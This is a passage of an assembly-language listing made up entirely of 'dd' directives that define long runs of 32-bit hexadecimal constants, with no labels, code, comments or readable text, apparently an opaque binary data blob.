		dd 0B55E6D8Ah, 17956990h, 220126F8h, 0E2D0700Bh, 1B201DB0h
		dd 7785AAB1h, 830296B7h, 51C79DABh, 821000E4h, 9F3672A0h
		dd 0B9BB5D00h, 68FC154Ah, 73AF6546h, 0E879B922h, 7621757Dh
		dd 95091372h, 5B644AC5h, 0EBB114F1h, 8A2007A2h,	0A61BEE3h
		dd 8B70F83Eh, 0E141AF43h, 0F21C4D1Fh, 399D8B21h, 0EA041C25h
		dd 0DFDC1A8Dh, 0BD2500B7h, 55FE07DEh, 6A277AF1h, 2A5BE19Bh
		dd 0E4805F00h, 5AE80D57h, 9314326Ah, 0ED269ED2h, 18D16225h
		dd 1CB53D77h, 4BF7C0F6h, 0C71332DCh, 8BB3D015h,	0A8C85A31h
		dd 0B2AD0787h, 0C1CE3528h, 4C912D1Eh, 3DBD2E95h, 5338002h
		dd 0DC6F6D15h, 104D7658h, 414C2B01h, 0DE88D3Bh,	0DE0EA477h
		dd 8985BC0Eh, 48891FD2h, 0B3FC1E72h, 7FD958AFh,	2ABD87B0h
		dd 0ED2DFC80h, 0EF67C0BAh, 0E9018CC7h, 9A6EE70h, 0C655898Dh
		dd 1D231F6Bh, 8A31DF00h, 18437034h, 3228EAF0h, 19483D9Dh
		dd 35F59327h, 0FAF3E54Ch, 0D38101A9h, 1FA6DF0Ah, 0BF80EBBCh
		dd 0EA82B368h, 69938254h, 0CDB8001Ch, 0B392EBFCh, 74CE56D7h
		dd 3AC514C8h, 0CA22CCh,	0D6E64FB2h, 8DC10376h, 0AFC6F02h
		dd 0E029C9C2h, 0A6619D47h, 39366BECh, 7B83FC37h, 9FAAABFAh
		dd 7086BAE0h, 0BB660B85h, 898274Bh, 3B030E36h, 0BE7DF403h
		dd 8AF24194h, 30E9ED7Dh, 540A92B8h, 670DB64Ch, 8C3B45B9h
		dd 0BD1023AAh, 247B0DE1h, 243F4DD3h, 0E909DEE4h, 820CE1A5h
		dd 9138D5Eh, 7E4088DEh,	580A78BAh, 0D9109E76h, 85C71234h
		dd 4C761FDDh, 3E4A28E6h, 17A2E5B3h, 92A330h, 8060CDFBh
		dd 12E8F1D7h, 63C021C0h, 6AC1B0Ch, 0EEBFD691h, 7000AABBh
		dd 7B356F1Ch, 7FEBB888h, 5E451D36h, 35F3BF61h, 0F643E99Dh
		dd 8592F0F1h, 0DD32B58Fh, 89A48B57h, 0DC1DFEB0h, 7E0DBC2Fh
		dd 0B7B307A1h, 0E9C162BBh, 6081B9DCh, 0A8D88C66h, 35222A3Ch
		dd 0FF016A04h, 0C9ACB1B5h, 157F8E9Fh, 89D00FDFh, 0B5909509h
		dd 0EF18C1FEh, 43C680Ch, 8FACDC20h, 0D4E5702h, 0C4C2010Bh
		dd 32E91A03h, 85C66B06h, 3162871h, 30DF6856h, 7E3BA9C5h
		dd 0C18846E9h, 0F8FD1CB2h, 6A503129h, 0A056057Ch, 613B126Eh
		dd 0E0E03AC3h, 0BA5FB9F0h, 6EC04E8Bh, 4EE70056h, 3C17CB31h
		dd 819301D8h, 5CDE7CEEh, 2FC73A26h, 0BD839B00h,	578E9591h
		dd 12097506h, 0C17DD22h, 53501974h, 382FB888h, 8FA84B04h
		dd 189DDB0Ch, 0F614AE0Fh, 58565BD3h, 1E827522h,	0AAFE2320h
		dd 26784D2Bh, 4D02076Dh, 7277229Ah, 9EF465F1h, 0D11FB140h
		dd 0FD310088h, 89B81E6Bh, 280BA9EFh, 8281C292h,	7A2F9197h
		dd 20D398ACh, 0E8141A5Dh, 2C5D087Eh, 8D41E4F1h,	239105B9h
		dd 8FB64F6Dh, 23A47AE0h, 3F18D10h, 0A5BD2B04h, 2D53E409h
		dd 372D439Ch, 86EF00C9h, 0A0CDE993h, 8561975Fh,	4A2AB585h
		dd 9730BB8h, 92C47995h,	0C8BB1BE2h, 0F836A9D8h,	6468003Ah
		dd 1CB81B08h, 1552B501h, 0B2CF269Eh, 70A55BA7h,	0D71E3FB3h
		dd 0FD041276h, 48C1A6FBh, 60410D29h, 1A091FC9h,	0D8DDC1CEh
		dd 1B42890Fh, 0E8A48380h, 0A6B74E74h, 4042E2B7h, 8029A931h
		dd 6D32B260h, 78D1AE61h, 0DCB39449h, 7DBFFB00h,	23E8F08Bh
		dd 0DB4A9307h, 0BD2937E8h, 2844714Bh, 0F3D4B985h, 0D9E069E6h
		dd 0C90A0BC1h, 4D06D6E8h, 0E1680EDEh, 1A0225B9h, 69416065h
		dd 5AE91212h, 16490064h, 88075869h, 593FE097h, 0E2133B54h
		dd 8231DCAh, 2D6989BAh,	1911111Fh, 7B3A0980h, 9B1B8627h
		dd 12DD68E8h, 0D3311958h, 784D9C6h, 0D49957E8h,	580FF462h
		dd 91A5B531h, 0D2ABE66h, 5A7D9526h, 0A672446h, 1BE1B529h
		dd 491117h, 0AE3BCF81h,	45E80ADAh, 1BDB3F0Dh, 7E5AD980h
		dd 0F2F587Ch, 3129C68Fh, 8176F9C9h, 29F8002Ch, 7993195h
		dd 2305D1A7h, 3016E2A3h, 5B642CFEh, 0AC132361h,	90B8D615h
		dd 649FE81Ah, 0BE79A7F3h, 268D608Bh, 70C90468h,	8B00845Ah
		dd 61AA2ECEh, 676C6BE8h, 230C9685h, 0CE40DB8h, 40DD0E51h
		dd 0E834590Eh, 18E69953h, 0AF13DAE0h, 0CFE6BA66h, 6AD2D5Ch
		dd 0F7D0967Bh, 0AB993AB6h, 0DBDDB2B0h, 0D0C4FFD1h, 0E8181D51h
		dd 0A68304F8h, 0E7135BD1h, 885DA043h, 0CAC2C92Dh, 1998882h
		dd 5809B007h, 60523D48h, 3025297Dh, 32351CA9h, 57565F8Fh
		dd 0AE449h, 0CC4470DFh,	0F0CB7CFFh, 0C35FB698h,	3500706Eh
		dd 0F65E2885h, 20FCC5C9h, 8E0F7509h, 0E043FC15h, 0B4BA450h
		dd 0D400FB74h, 0C03F46F8h, 25B06C45h, 53623A92h, 74709373h
		dd 6C899578h, 0C180BD37h, 89DD052Bh, 2915259Dh,	4D9725E6h
		dd 0D59140FEh, 96011D0Bh, 935CB52Bh, 0BC328A0Fh, 8C23204Bh
		dd 0BA0298D5h, 0AC336552h, 615950h, 0F76359D9h,	0EE0024AEh
		dd 0AA22FFD2h, 0A15780Bh, 0BC9ABF62h, 881910B4h, 17FA8414h
		dd 0CFDEF215h, 0C8C09EC5h, 5EAA49B4h, 78859393h, 71FE07F4h
		dd 260AA92Eh, 271FA03Ah, 0CD698D0Fh, 0EE42D6F8h, 5574A62Bh
		dd 5F920055h, 7C2291E0h, 10E5604Ch, 66023471h, 61F93FBAh
		dd 0EB9506D8h, 0AD95A8E7h, 0F48DBC1Fh, 4D097484h, 0B71A8992h
		dd 0E0784C4h, 5F20AABAh, 0C5163Dh, 0E257A954h, 7C2C5908h
		dd 42896609h, 83623704h
		dd 2EF3C1Ch, 4FF9F838h,	268041DEh, 3DCB67D7h, 37B2C21Eh
		dd 0D5BF6681h, 69205FDDh, 1297B101h, 9C46DB1Ah,	0FD374E80h
		dd 9AC3641h, 89784922h,	844A4F54h, 4BC08560h, 95EA0047h
		dd 0A6F5162Dh, 0D91F7C35h, 6C13ADDAh, 0C681F101h, 0E9447908h
		dd 0B76FA112h, 0E857A412h, 2C991091h, 48A1A640h, 14F82230h
		dd 0F32E588Ch, 1A25F24Ch, 40C046CDh, 0BD6127Dh,	0BD33F8FAh
		dd 0EB4AC8EBh, 94E0E4B6h, 5402653Dh, 2BFF1109h,	20CE1EBh
		dd 0FA98C614h, 6F2A3525h, 0BEF744BDh, 438D1D14h, 61D8142Fh
		dd 0B4E65A88h, 0BA65E3E0h, 0F3C09D12h, 0D90183A1h, 8B4C23F9h
		dd 6EB91966h, 6805C603h, 0B0374655h, 18353047h,	0B4FCEE66h
		dd 7CE90F60h, 56958913h, 2986BEB5h, 0E114185h, 9C4190B5h
		dd 1BE203B0h, 6165FB2Ah, 113A58Eh, 0F391E98Dh, 0CA6C5995h
		dd 0A761F92Dh, 0FA1D201Ah, 0F9E23897h, 9F75AB10h, 4B971FBh
		dd 9E0E0195h, 0E562C0FDh, 5AC534h, 0BFCEFD12h, 56F08549h
		dd 0D3DB90D3h, 0FC746581h, 0EDB1A5D9h, 0A1E4CEB5h, 9DEFC153h
		dd 3B5F0322h, 454C65EEh, 3DD1608Ah, 15C23127h, 9A0FB412h
		dd 0E90B2A88h, 0C45BE7F2h, 70EC601Bh, 0F0AE000Bh, 8B97202Fh
		dd 129591BDh, 3EF1466Bh, 2F00A29Eh, 0AF6D5582h,	0E4340734h
		dd 0DBF926BBh, 400050B8h, 7A94679Ah, 6A60143Fh,	87F4A6Dh
		dd 958A0571h, 4BBF80FDh, 2101A16Fh, 0C2051CBEh,	99B66470h
		dd 0F800440h, 296186E2h, 1DF91149h, 0F62F4909h,	0D21FF4A2h
		dd 0F181D4E3h, 2D9F71B3h, 0DCA0D4EAh, 0BF234500h, 4E683DF1h
		dd 0C7C54E8Ah, 9BC0241Ah, 0EC85C13Dh, 56DE1B1h,	224295E8h
		dd 105A7623h, 0B6AB1720h, 0FD5BEB05h, 4E032D50h, 7DC9A146h
		dd 0FE18B85Ah, 0F9023F21h, 818BC780h, 6AEF9FE9h, 7A810D51h
		dd 0B0F64F35h, 0F5E8D3E1h, 7AB02BEFh, 88904E34h, 0FF00E18Eh
		dd 72970A7Bh, 2C1D0713h, 0E2C0E7Ah, 0CA3C505Fh,	317E990h
		dd 4792F7D7h, 0B65627C0h, 81C7AA13h, 7AC1BF09h,	0DE60BC67h
		dd 0E4B36297h, 97BC00E9h, 0B18B3204h, 6A5F9DCFh, 90F046A6h
		dd 3E2EB12h, 0E259D10h,	2772AB40h, 0C5B7164Ch, 874F5980h
		dd 0B4A354C7h, 82674005h, 0EF00E05Dh, 199376E6h, 5EC20CFCh
		dd 8BD2C0ABh, 0EB1380FBh, 0ADEC50E1h, 0CC33009Fh, 0F17AEEBCh
		dd 8D219101h, 3E7019CFh, 9B01167Fh, 0AACF80C7h,	30DCEF76h
		dd 0BB448FF6h, 0F43B6C30h, 8A6FDA03h, 0FD462816h, 0B26AD765h
		dd 5B8BAC00h, 9D95093Ah, 0E38D1D40h, 9BCF177Bh,	0FD07C0EFh
		dd 1F90B11h, 23D1FF93h,	7A05C59Dh, 42AD964Bh, 16095407h
		dd 0B03FB7B5h, 26179D8h, 71EACB4Eh, 0B777026Ah,	0EE300ABh
		dd 6A1327BEh, 728CBA12h, 1E1E1CF2h, 26D48062h, 6ECBE2C0h
		dd 41B78E98h, 4298655h,	0F05F5617h, 0A120BB53h,	5B1CAA29h
		dd 0CDE1784Bh, 0AB28A812h, 118E282h, 6A038C0Fh,	0EEA5B373h
		dd 8A0CF21Fh, 9D96B07Fh, 0E9124085h, 0C50E112Fh, 4C7C8854h
		dd 0F1D467Ch, 0A29EC102h, 5FF19862h, 0BF668500h, 0F69078ACh
		dd 2B943724h, 0C89D2909h, 760F90B2h, 0FD109584h, 0E497D68Bh
		dd 9AF70039h, 8188C184h, 0A4004DBCh, 1B833176h,	1BA2315h
		dd 6351EAABh, 2E506159h, 0E2BFFA20h, 4A400020h,	56DBA8C6h
		dd 0A405CF42h, 908A3E68h, 0E6E0C2A6h, 3009FADEh, 40319D8Bh
		dd 70FF64C4h, 0D761A235h, 9BA4930Bh, 0FF744113h, 0A3C8A014h
		dd 0F6EC0019h, 0A48CC1Fh, 0C89D1CA6h, 286461DBh, 9F272589h
		dd 1BC07CEDh, 37C6D10h,	128AFD1h, 0FD9D59B5h, 0F5F8D25Dh
		dd 0F3C37A80h, 81BFA7D9h, 0FF6A5BDCh, 0FCB8302Dh, 0EDAE7E00h
		dd 0BD33D7ABh, 0F785AA6Dh, 0B111FE8Bh, 0AB442AB5h, 64D2E5B3h
		dd 26E9022Ch, 0E1BFBA78h, 0D5F83148h, 1FA0BD18h, 852971E4h
		dd 98D8995Bh, 8A37C70Bh, 0C8B680D8h, 52165660h,	21EC585Fh
		dd 1E93612Dh, 8BDA1200h, 11B509C1h, 0C810BD1Ah,	9110C381h
		dd 2E98BB3Ch, 0C8482BFAh, 0A62022BEh, 6BCF0052h, 6116B1C0h
		dd 3BE08F8Dh, 0D7A00D00h, 0D629C4F1h, 250F5C47h, 1E519D09h
		dd 0D163F4DAh, 0BA57F85Ah, 4002DCE9h, 8B759BBBh, 0F845854Fh
		dd 5E835B50h, 0A6067007h, 5D3606DEh, 5E539F8Ch,	780E1922h
		dd 0B2F10260h, 0D03B6148h, 4FD59288h, 23A1BDA5h, 17026EB8h
		dd 0CD958953h, 76A3F530h, 0DFB97ACBh, 3B313F46h, 442FDC8Ah
		dd 344F84E8h, 97BF4A00h, 28641EA1h, 61CA583h, 953360FEh
		dd 612D6375h, 0F691189h, 532085DEh, 5BDB8C05h, 808078E8h
		dd 0E5F46B03h, 18E45600h, 1DB53F61h, 0DE5F0210h, 8ADAA4B1h
		dd 2925C25Ch, 17E71A9h,	0DE83B58Dh, 8303E15h, 4AA2E12h
		dd 0C158D36Fh, 6AE8C314h, 0C046DB85h, 0EAEB1396h, 8C5A5B11h
		dd 494EB901h, 0C5A69E12h, 2025BD1Fh, 29FCA781h,	1630B82Ch
		dd 0A852FC6Fh, 14910B8h, 610AB43Ch, 4781B85Fh, 95249CF8h
		dd 8B6C69B7h, 0CF24D1D9h, 910EDD61h, 0D22B1613h, 86B9F5FDh
		dd 0D8276D86h, 80F0B6E2h, 33ADFEB7h, 52C4D1C2h,	798083D0h
		dd 56F475h, 93A1BF51h, 5F5B7AB6h, 0C7B54DB7h, 7806190Dh
		dd 155584A0h, 0C288EDBFh, 0B1088527h, 7A09A1EEh, 0BC8F69DEh
		dd 50D3B816h, 69E3058Eh, 1CDCE82Dh, 86C28B50h, 8C10318h
		dd 96ACD2F1h, 0BF015819h, 49340BEh, 317F8E0Fh, 5129D28h
		dd 8C21AE83h, 0C784F019h, 4C7AEF85h, 408D871Fh,	833FACFh
		dd 4CB3B862h, 76BBF8h, 6A45D1Eh, 55B58984h, 3A5D024Ah
		dd 0A89E4DD7h, 2903DE80h, 9A5B33ABh, 2C476780h,	0B55498FFh
		dd 9102EB92h, 2B181BD9h, 11CE9104h, 21964808h, 1BDE1402h
		dd 84C80188h, 0EEF401DEh, 99239E2h, 5F83097h, 33348E9h
		dd 0C2860F1Dh, 44646F25h, 2832BA6Dh, 70F5F360h,	6E5C7A7Dh
		dd 9C5A17E3h, 0B2820FE1h, 0E180F129h, 611D176h,	464ECD4Ch
		dd 1CC90AD8h, 4FCD4B59h, 1DE0C3B6h, 69F87F1Bh, 8D2088B0h
		dd 0EF800F30h, 6529333Bh, 0D395CCF8h, 0E50E7893h, 59F0A801h
		dd 7F551C4h, 2101F945h,	501EE8DFh, 9DF9202Ah, 9E01EB77h
		dd 0EE6119CEh, 4F6FD385h, 8492C8DBh, 0D2C4C5F7h, 0CD556A6Fh
		dd 6665E12Dh, 37C6D89Eh, 820EE85Ch, 801F03FFh, 50A8BFA4h
		dd 5B38266Eh, 8345351Fh, 80BDD9E0h, 2EBDD5C2h, 895B0558h
		dd 0DC245658h, 842C0100h, 2723B063h, 3FA05B7h, 0A4218D9Dh
		dd 33FB7997h, 3014E2A5h, 0DF588B01h, 0C81216DDh, 3CE9D116h
		dd 0BC146EB8h, 9AD9030h, 2BB0E9D8h, 92D043Ch, 7C48F357h
		dd 8596B750h, 81790A69h, 1975BD90h, 53B15100h, 0C7615E1Ch
		dd 0D64B4B24h, 0EB50D38h, 85B81135h, 4F2E7CB9h,	4DE0DBF6h
		dd 90171AD8h, 47A68985h, 54737EF0h, 0B5D6F12h, 12289009h
		dd 0F4D47C99h, 8C7DA20Fh, 0E49A89BFh, 0CE5C0195h, 0BC523B8Fh
		dd 0F8EFCC34h, 42515B00h, 44689B0h, 96FE268Bh, 0E4973E1Bh
		dd 7772F350h, 5B5F5317h, 252473F8h, 25B54524h, 0E066B6C4h
		dd 7E6D82D7h, 256A17E6h, 0C15DB8F2h, 1389BD03h,	7EA72D05h
		dd 0E8DD3B99h, 8FB51C40h, 502E0738h, 19615FE1h,	0B4ADFCC2h
		dd 498FC932h, 80F728E6h, 8C2EDC87h, 0E8BC0006h,	0EB093ED9h
		dd 0EA03A7F8h, 0DCA87175h, 0DD6E5279h, 2F67884Bh, 0BBC9F400h
		dd 0CDF2D875h, 848B4A3Bh, 2802433h, 584080ACh, 974B75Fh
		dd 0B71A8DEBh, 9100DDEh, 785CC47Fh, 0BD66C81Ch,	0F5035924h
		dd 0DDD92951h, 0BD8E1E28h, 0C70B1568h, 5B631B85h, 0F039B674h
		dd 0A92901h, 538F9992h
		dd 1A857DBFh, 955F602Ch, 0E39A5F20h, 79C12D52h,	0F876E88h
		dd 0FC3C1BBCh, 7645386Ah, 55011546h, 0C30508Ah,	0CC44C111h
		dd 0E83DC101h, 70E6B10h, 3E24C16h, 1B6C5258h, 3636EBE7h
		dd 736408BCh, 661B2CDCh, 21282950h, 9A581881h, 13570113h
		dd 0C08B811Bh, 19B8CE6Dh, 9448E616h, 0C9EF7B0Eh, 4D0A05CBh
		dd 0A96D82F1h, 0E01FA9B8h, 27C5B57Bh, 6FCABBBCh, 578F8517h
		dd 0B817A9A2h, 94AD1229h, 0B808AB68h, 660C2911h, 0CDB5645Dh
		dd 0A9AEE063h, 7500F8B9h, 89249F07h, 2F8D8B60h,	26FB2625h
		dd 11CAD700h, 0E89BE1BAh, 0F6109F9h, 6B84D9BFh,	0F0F93412h
		dd 32028DA8h, 69D7809Ah, 0A9C240FCh, 0C1BD9D1Ah, 0EE6D5A01h
		dd 6360F4B3h, 0A69DD306h, 0CD2BE096h, 500A005Ah, 3866570Dh
		dd 957209CFh, 0BD26A5B5h, 0C725CDE9h, 23E573F8h, 301BB2C3h
		dd 1300CEB8h, 91E3A543h, 4E0F9623h, 60E64E8Ah, 8E37BB34h
		dd 0D6800911h, 29969EB7h, 895B57Eh, 5CBC94Bh, 0ABB4713Ah
		dd 2A11458Dh, 56747B20h, 7A700015h, 2DD7BCE3h, 0FD5099D0h
		dd 1C4A05C4h, 0B8E88DB9h, 13DB9303h, 88DC9DDEh,	48E380EDh
		dd 0CD34BD0Eh, 0A561D995h, 8402FA18h, 0A04F9DDDh, 0FF5C7841h
		dd 5BA51070h, 80359E01h, 0D51C96D4h, 0E3A90068h, 89AAF380h
		dd 4F95C486h, 9E806142h, 0A9D7CAF5h, 1C9855CFh,	0D15A8D01h
		dd 0E3B7DF84h, 3716A4Bh, 83F9747Fh, 72BFE8C2h, 658C05B8h
		dd 0B6205089h, 8E37E080h, 4DF20258h, 0A99D890Ah, 0F89632DEh
		dd 0DC6FBB05h, 3EE6DC12h, 0A43C23E0h, 0FA8A8718h, 8204C55Eh
		dd 49B8BA04h, 0F481DEFCh, 55C8F54Eh, 294F001Bh,	320D8D3Fh
		dd 5200821Ah, 0A7DDB05Dh, 403E37F9h, 8C12CBDFh,	0AD655B33h
		dd 9DE5570Dh, 4D24F78h,	5264909h, 0D7E4E896h, 8A9D0014h
		dd 35C57108h, 510201D9h, 0EF4B28C8h, 4B067E1Bh,	2C81AD47h
		dd 9BD0FF50h, 5F61D1E4h, 53D0285Bh, 17E6BF88h, 12EB738h
		dd 9D0396C0h, 4ED82CF1h, 0D40069A2h, 0B0DFC42Fh, 720336EFh
		dd 90663FFCh, 0E12BE2F1h, 5F02018Bh, 0F7817C90h, 6E206B7Fh
		dd 9602F005h, 0F505F40Bh, 2FA464B4h, 0DD5520EAh, 0AB003E6Bh
		dd 503F560Eh, 2675A68h,	8CD25DD4h, 83C0018Ah, 12422A09h
		dd 0C060524Bh, 96A96E6Bh, 0B8E0504Ah, 0FA1B7738h, 65DA528Bh
		dd 0F8B70F09h, 2107B725h, 2A18C1E4h, 681B2DEh, 484B88BBh
		dd 6DA0E834h, 0AC00AECFh, 4892FEBAh, 151CD80h, 0CC0C065Ch
		dd 7849C127h, 0BDED807Bh, 9D42AC56h, 0A191704h,	0A24C75Bh
		dd 0A24E1B10h, 0D77F0088h, 0B40E39B6h, 0F3CF25E7h, 0F0B12304h
		dd 94A10256h, 0D72FA331h, 13CB2878h, 48820C3Ch,	0B30403ACh
		dd 0E1C8C6DCh, 48164A09h, 45B85993h, 1DB8086Eh,	0D301D520h
		dd 36E9E5CEh, 0D3C6FFF3h, 66577203h, 3D213CDAh,	0BFB87577h
		dd 5101BE1h, 16DCB04h, 0E2C18B07h, 0A3F0AD9Dh, 0CD7D3A97h
		dd 32C76013h, 0E6BDEBDCh, 0CF801728h, 93E918h, 179AE0BBh
		dd 4AE7B362h, 0BC33BD6Ah, 278970B3h, 69DB1F75h,	0EF62D0h
		dd 3BC4F88h, 7EB79247h,	1FDDDDA0h, 651388A4h, 0FB6165Ch
		dd 393360F0h, 5CFA42B7h, 74932648h, 0E1001C46h,	97B143BFh
		dd 9631F2A3h, 531A8B2h,	0B98C0405h, 8CA3121Dh, 0D27E5800h
		dd 0D374322Fh, 0FA768F00h, 140ED998h, 76C8AAE1h, 0B300DCB6h
		dd 0D1EA2B20h, 4BA44CADh, 82398933h, 39BD8B52h,	0CF088A2Ch
		dd 0D8547863h, 0E6E79C67h, 0BF7701DBh, 2D389456h, 0D8F62B5Fh
		dd 553219B2h, 35042CC4h, 5A5BD09h, 0FC775BDh, 81379C88h
		dd 0A5EFF300h, 0D1FF7EACh, 4002B660h, 7350B09Ah, 345F8601h
		dd 1B93F877h, 1561E20h,	0BF66F2D4h, 2F61422Ah, 8B337528h
		dd 0F9E5D5A7h, 0F90209F1h, 4B5190h, 971527E0h, 560238E7h
		dd 50BDE331h, 0BE21E060h, 0F5A10086h, 0F906119h, 0B0B3DFBFh
		dd 4D20B220h, 0B5E9120Eh, 0C4F3E20Ch, 2E195C6Fh, 7BA675C1h
		dd 580DADBh, 315C2AC2h,	0F2B39ED2h, 0C740572Fh,	9095905Bh
		dd 544695h, 32B1750h, 408AC564h, 0E45FD9FDh, 5D071B0Bh
		dd 5092ED1Fh, 0B6F65B96h, 61ED6EC6h, 1C6E7EF8h,	799AEA00h
		dd 0F92DB6B3h, 89A55D02h, 5C037595h, 0CF8452E3h, 99C6B9DEh
		dd 0BA100C72h, 0E4038BD7h, 3B5A04FFh, 6ADAA17Fh, 0ABA5C120h
		dd 0FDC24AC0h, 0AAE6D2A1h, 2EB997A0h, 0BC5C700h, 0CACB6EADh
		dd 81FF016Ah, 1C298DEFh, 2DA86025h, 847A1D5Eh, 4F0E4207h
		dd 2FD6F062h, 0B05868F6h, 0DF30C01Ch, 12F5E18Ch, 0E6FE8B17h
		dd 588A72D8h, 875208Eh,	2D101D9Eh, 0B0611Ch, 0E6D5F380h
		dd 890A5170h, 942869B5h, 9871E489h, 0A46851h, 84D49063h
		dd 97C5AB4Bh, 961279E2h, 0F8E4E7AFh, 0FA9ABDCBh, 6625F956h
		dd 0D0825AF0h, 4EB56058h, 0CA2C9690h, 34327061h, 0E621F7FAh
		dd 9229258Dh, 0F9E1D8B5h, 52E1BBCDh, 372D85FDh,	0F8C82B13h
		dd 0FBA68052h, 6F920F1h, 0FCB3D0Ah, 5FE01B87h, 0C1D18B26h
		dd 5E1A4D09h, 0AFBFC041h, 625C99B7h, 6C935B13h,	112DB129h
		dd 0F4660CA5h, 0F33F04B0h, 0E292CBA7h, 0BD31200Eh, 44893075h
		dd 97DE874Ch, 49A10BC6h, 9667A2F5h, 29DE9195h, 14FF8A08h
		dd 20BFC3ABh, 24A58B28h, 0BD2BFE0Bh, 0B7505ADDh, 0A409CA13h
		dd 73F1D3DFh, 0E7C708B8h, 75810F09h, 9DCB7418h,	4F6A9A38h
		dd 0ACE004A6h, 4E627A5Dh, 570E75DAh, 18E4B9CDh,	91548D60h
		dd 296ACE03h, 0B3505B5h, 0EF0B94Ch, 0D340534Fh,	9DCBDC12h
		dd 0A800A8E4h, 2E1A1648h, 3C64F9E2h, 0BB80B38Bh, 58DD93BAh
		dd 8A97DE9Bh, 91628908h, 426E40A4h, 0B489049Fh,	0C3E15118h
		dd 0FCD966E7h, 245C33B8h, 5144518Bh, 1A3E08EEh,	0D22B5B05h
		dd 2DE9F5C1h, 0F0C8AC04h, 5A0D9D2Bh, 337A61Ch, 47F62476h
		dd 33929C6Fh, 0A5AE5C5Bh, 139337B7h, 0A710AA08h, 86818D71h
		dd 0FECC155Ah, 97199C8h, 5F5BE404h, 9895F9C6h, 97D98ABCh
		dd 8084A215h, 3FC181D7h, 0DE3A1105h, 5A70935Fh,	0A64A4BFh
		dd 0B6BB316Bh, 0E23A128Dh, 0D56889C6h, 2F80353Dh, 0D585E093h
		dd 20BF9027h, 0FE861925h, 10CD5CA0h, 6EA5F591h,	0F96D9FABh
		dd 76A2AA40h, 551A0077h, 93FD6935h, 2364E1FFh, 0AAB813DEh
		dd 664EC7E3h, 6DBCD2E9h, 6077A00Ah, 0FA22E856h,	61812D71h
		dd 0ABC6282Eh, 0E3FC61D3h, 254A2F2Bh, 0F62A661h, 0A9C11CC8h
		dd 0ECCCBB6Dh, 3ADE05A6h, 0FC880F6Ah, 0C8EA081h, 9A072D4h
		dd 6098DE54h, 4170677Bh, 7C20A90h, 12E60812h, 2ABDE1FBh
		dd 0B008D6Eh, 6346E4A4h, 0A97147Ah, 1D0982DBh, 9AD57109h
		dd 1C5437F3h, 5CDE8A62h, 0C38060B4h, 0A1B0906Eh, 9D88504Ah
		dd 5A4B16B2h, 12AE5658h, 1EF6FD3h, 50B4C178h, 7662800Fh
		dd 855C814Eh, 0B5010002h, 0A60D4539h, 0DA270566h, 0AD6804FAh
		dd 0CCDFEBCAh, 5F003F2Dh, 0EA1A8AF7h, 794400Ah,	7B9B63DDh
		dd 0AF23B4E6h, 5731FDCDh, 605B27C2h, 39522404h,	41203325h
		dd 702A0974h, 599D0387h, 0CC602641h, 0EC0F1208h, 4E6AE777h
		dd 0CBA0B2F6h, 5B175131h, 0B356BFE9h, 0CB811C9Bh, 9126FB7Dh
		dd 0CC4A6DC2h, 2B97FC7Dh, 0F4C05C72h, 3E9EDB14h, 25D45AC6h
		dd 6FD394ACh, 49A32511h, 372EDB4Ah, 76BFB3B3h, 0FAA93E4Eh
		dd 15001DBCh, 2F21E3F5h, 4D9D314Bh, 0F131EB5h, 0C0C8F882h
		dd 81603E26h, 91EAC8h, 7FB86812h, 612401CEh, 6DB23A97h
		dd 0A8396026h, 0C2129CD4h, 0A0E1CA1Bh, 0B8B80939h, 0BC4C050Fh
		dd 0F9B2E56Eh, 0C8BA5384h
		dd 8B16605Ah, 940161DAh, 243489F8h, 18C6E2Ah, 217213Bh
		dd 0BDD8D05Fh, 8D290984h, 0E573159Dh, 0B70F6080h, 96861D8h
		dd 0E2F084ABh, 0C24FC78Dh, 7F54B048h, 0F51D2E28h, 0F6D5ED09h
		dd 0AD517175h, 20797F11h, 0C000992Fh, 8BF7161Fh, 2FE2BC4h
		dd 3CC1B091h, 0BADC5042h, 3C3802F6h, 9E51DF6Bh,	6606F14Ch
		dd 616387BBh, 737F2E0Ah, 0E3019293h, 1988D37Ah,	0A7E04Bh
		dd 0D26B51A2h, 0E6FF763Ah, 0EF120672h, 5BB2118Ch, 4B100C8Eh
		dd 812152E0h, 0F5C248E9h, 0D2461D97h, 13D45054h, 54659C2h
		dd 8E2BF99Dh, 174F7DE6h, 3BED09ADh, 0B17213C9h,	2FFE8107h
		dd 0ACB2904Eh, 102525Eh, 77271214h, 25D19695h, 0E9DB03D6h
		dd 6881DDD3h, 742B09BDh, 0C8CDEF49h, 4D4AA47h, 25FCA252h
		dd 950066F9h, 0C70A953h, 0F4FF0714h, 9456C999h,	0D7D0AD79h
		dd 0A180A6DAh, 999509FFh, 5A2BB7h, 9CBA600Eh, 2E26004Ch
		dd 28E8CCBBh, 1AB86109h, 8A00ECA6h, 981A5021h, 1DD0D2F9h
		dd 81B79314h, 0D61715A7h, 0A7127AF5h, 9CBD5A13h, 9B0116B8h
		dd 782AC62Ch, 0BB4D301Ah, 73F08E76h, 4538A5D5h,	4CC99CFFh
		dd 69DE15h, 0BD5B9496h,	0F400F64h, 43EEF723h, 67828160h
		dd 9977F0Ch, 0F65AF622h, 28AB3009h, 60EDFE34h, 1A6BD9DFh
		dd 847BE109h, 7B161A80h, 31E47841h, 0DE028BFAh,	9F0E1205h
		dd 691D5CA5h, 90021264h, 0DFB64522h, 3259F6B2h,	0A5C5F23h
		dd 201C5166h, 5B4B23C9h, 10E0EA34h, 0E372C056h,	0DB6F8EFh
		dd 8ED08995h, 589AE9C6h, 0B75309CFh, 0AA5B5FB4h, 0C35ADh
		dd 9019AF08h, 0FBECC4CAh, 0A7C4834Ah, 9BEC5EE9h, 7693E500h
		dd 0D98B4226h, 0DD73956Ah, 4888478h, 8E0F2CCAh,	0BD294206h
		dd 962C5C89h, 6651939Dh, 6D46D8BAh, 0E5574D9Fh,	0C12BF9A7h
		dd 418D2B60h, 0FC4134h,	0BB509661h, 5DA6FA56h, 1D815B4Fh
		dd 81F60D29h, 6AF4CFE3h, 6FAF4654h, 6EF02538h, 0D48094A4h
		dd 0E165B812h, 0A26F52FFh, 13768E90h, 0D2E84FADh, 99C341FFh
		dd 8D0F0105h, 0E94E21B1h, 63CC100Dh, 35940BB8h,	0A67C8D92h
		dd 0CD6C0B69h, 995FE0BBh, 0D50BA992h, 0C49C5013h, 58E70052h
		dd 98BEAA5h, 381EE55Eh,	0B70986C4h, 45B73DBh, 0ACF7EF80h
		dd 0EB4ADEF0h, 51491294h, 0F86082ACh, 0EBD18A0Fh, 8913F18Bh
		dd 44AB51F4h, 0F3814032h, 4AD1C2F4h, 3B91CD39h,	0B75B306Eh
		dd 0B2844AC2h, 0BB5ACA8h, 0EE02344Ch, 7D7F460h,	0C124D99Eh
